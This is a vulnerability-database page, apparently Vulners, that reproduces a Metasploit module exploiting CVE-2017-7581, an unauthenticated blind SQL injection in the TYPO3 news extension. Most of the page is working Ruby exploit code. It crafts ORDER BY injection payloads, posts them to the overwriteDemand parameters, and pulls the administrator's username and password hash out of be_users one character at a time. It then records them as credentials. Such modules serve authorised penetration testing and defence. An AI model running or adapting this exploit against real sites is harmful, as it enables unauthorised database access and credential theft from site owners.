Lucene search
K

TYPO3 News Module SQL Injection

🗓️ 12 Mar 2018 12:00:45Reported by Marco Rivoli, Charles FolType 
metasploit
 metasploit
🔗 www.rapid7.com👁 61 Views

TYPO3 News Module SQL Injection. Exploits SQL Injection vulnerability in TYPO3 NewsController.php allowing unauthenticated user to execute arbitrary SQL commands. Can obtain password hashes for user accounts by extracting username and password hash of the administrator user. Tries to alter ordering of results to extract information

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2017-7581
29 May 201815:50
circl
CVE
CVE-2017-7581
7 Apr 201719:00
cve
Cvelist
CVE-2017-7581
7 Apr 201719:00
cvelist
NVD
CVE-2017-7581
7 Apr 201719:59
nvd
OSV
CVE-2017-7581
7 Apr 201719:59
osv
Packet Storm
TYPO3 News Module SQL Injection
31 Aug 202400:00
packetstorm
Prion
Sql injection
7 Apr 201719:59
prion
Veracode
SQL Injection
22 May 201706:52
veracode
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TYPO3 News Module SQL Injection',
        'Description' => %q{
          This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
          in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
          SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
          can be used to obtain password hashes for application user accounts. This module has been
          tested on TYPO3 3.16.0 running news extension 5.0.0.

          This module tries to extract username and password hash of the administrator user.
          It tries to inject sql and check every letter of a pattern, to see
          if it belongs to the username or password it tries to alter the ordering of results. If
          the letter doesn't belong to the word being extracted then all results are inverted
          (News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
          to the word being extracted then the results are in proper order (News #1 appears before News #2,
          so Pattern1 before Pattern2)
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Marco Rivoli', # MSF code
          'Charles Fol' # initial discovery, POC
        ],
        'References' => [
          ['CVE', '2017-7581'],
          ['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'DisclosureDate' => '2017-04-06'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of TYPO3', '/']),
        OptString.new('ID', [true, 'The id of TYPO3 news page', '1']),
        OptString.new('PATTERN1', [false, 'Pattern of the first article title', 'Article #1']),
        OptString.new('PATTERN2', [false, 'Pattern of the second article title', 'Article #2'])
      ]
    )
  end

  def dump_the_hash(patterns = {})
    ascii_charset_lower = 'a'.upto('z').to_a.join('')
    ascii_charset_upper = 'A'.upto('Z').to_a.join('')
    ascii_charset = "#{ascii_charset_lower}#{ascii_charset_upper}"
    digit_charset = '0'.upto('9').to_a.join('')
    full_charset = "#{ascii_charset}#{digit_charset}$./"

    username = blind('username', 'be_users', 'uid=1', ascii_charset, digit_charset, patterns)
    print_good("Username: #{username}")
    password = blind('password', 'be_users', 'uid=1', full_charset, digit_charset, patterns)
    print_good("Password Hash: #{password}")

    connection_details = {
      module_fullname: fullname,
      username: username,
      private_data: password,
      private_type: :nonreplayable_hash,
      workspace_id: myworkspace_id
    }.merge!(service_details)
    credential_core = create_credential(connection_details)
    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED,
      workspace_id: myworkspace_id
    }.merge(service_details)
    create_credential_login(login_data)
  end

  def blind(field, table, condition, charset, digit_charset, patterns = {})
    # Adding 9 so that the result has two digits, If the length is superior to 100-9 it won't work
    offset = 9
    size = blind_size("length(#{field})+#{offset}",
                      table,
                      condition,
                      2,
                      digit_charset,
                      patterns)
    size = size.to_i - offset
    vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
    data = blind_size(field,
                      table,
                      condition,
                      size,
                      charset,
                      patterns)
    data
  end

  def select_position(field, table, condition, position, char)
    payload1 = "select(#{field})from(#{table})where(#{condition})"
    payload2 = "ord(substring((#{payload1})from(#{position})for(1)))"
    payload3 = "uid*(case((#{payload2})=#{char.ord})when(1)then(1)else(-1)end)"
    payload3
  end

  def blind_size(field, table, condition, size, charset, patterns = {})
    str = ''
    for position in 0..size
      for char in charset.split('')
        payload = select_position(field, table, condition, position + 1, char)
        if test(payload, patterns)
          str += char.to_s
          break
        end
      end
    end
    str
  end

  def test(payload, patterns = {})
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'id' => datastore['ID'],
          'no_cache' => '1'
        },
        'vars_post' => {
          'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,
          'tx_news_pi1[search][maximumDate]' => '', # Not required
          'tx_news_pi1[overwriteDemand][order]' => payload,
          'tx_news_pi1[search][subject]' => '',
          'tx_news_pi1[search][minimumDate]' => '' # Not required
        }
      })
    rescue Rex::ConnectionError, Errno::CONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200 && !(res.body.index(patterns[:pattern1]).nil? || res.body.index(patterns[:pattern2]).nil?)
      return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
    end

    false
  end

  def try_autodetect_patterns
    print_status('Trying to automatically determine Pattern1 and Pattern2...')
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_get' => {
          'id' => datastore['ID'],
          'no_cache' => '1'
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
      return '', ''
    end

    if res && res.code == 200
      news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')
      pattern1 = news[0].nil? ? '' : news[0].search('span[@itemprop="headline"]').text
      pattern2 = news[1].nil? ? '' : news[1].search('span[@itemprop="headline"]').text
    end

    if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')
      print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user specified values...")
      pattern1 = datastore['PATTERN1']
      pattern2 = datastore['PATTERN2']
    end

    print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")
    return pattern1, pattern2
  end

  def run
    pattern1, pattern2 = try_autodetect_patterns
    if pattern1 == '' || pattern2 == ''
      print_error('Unable to determine pattern, aborting...')
    else
      dump_the_hash(pattern1: pattern1, pattern2: pattern2)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation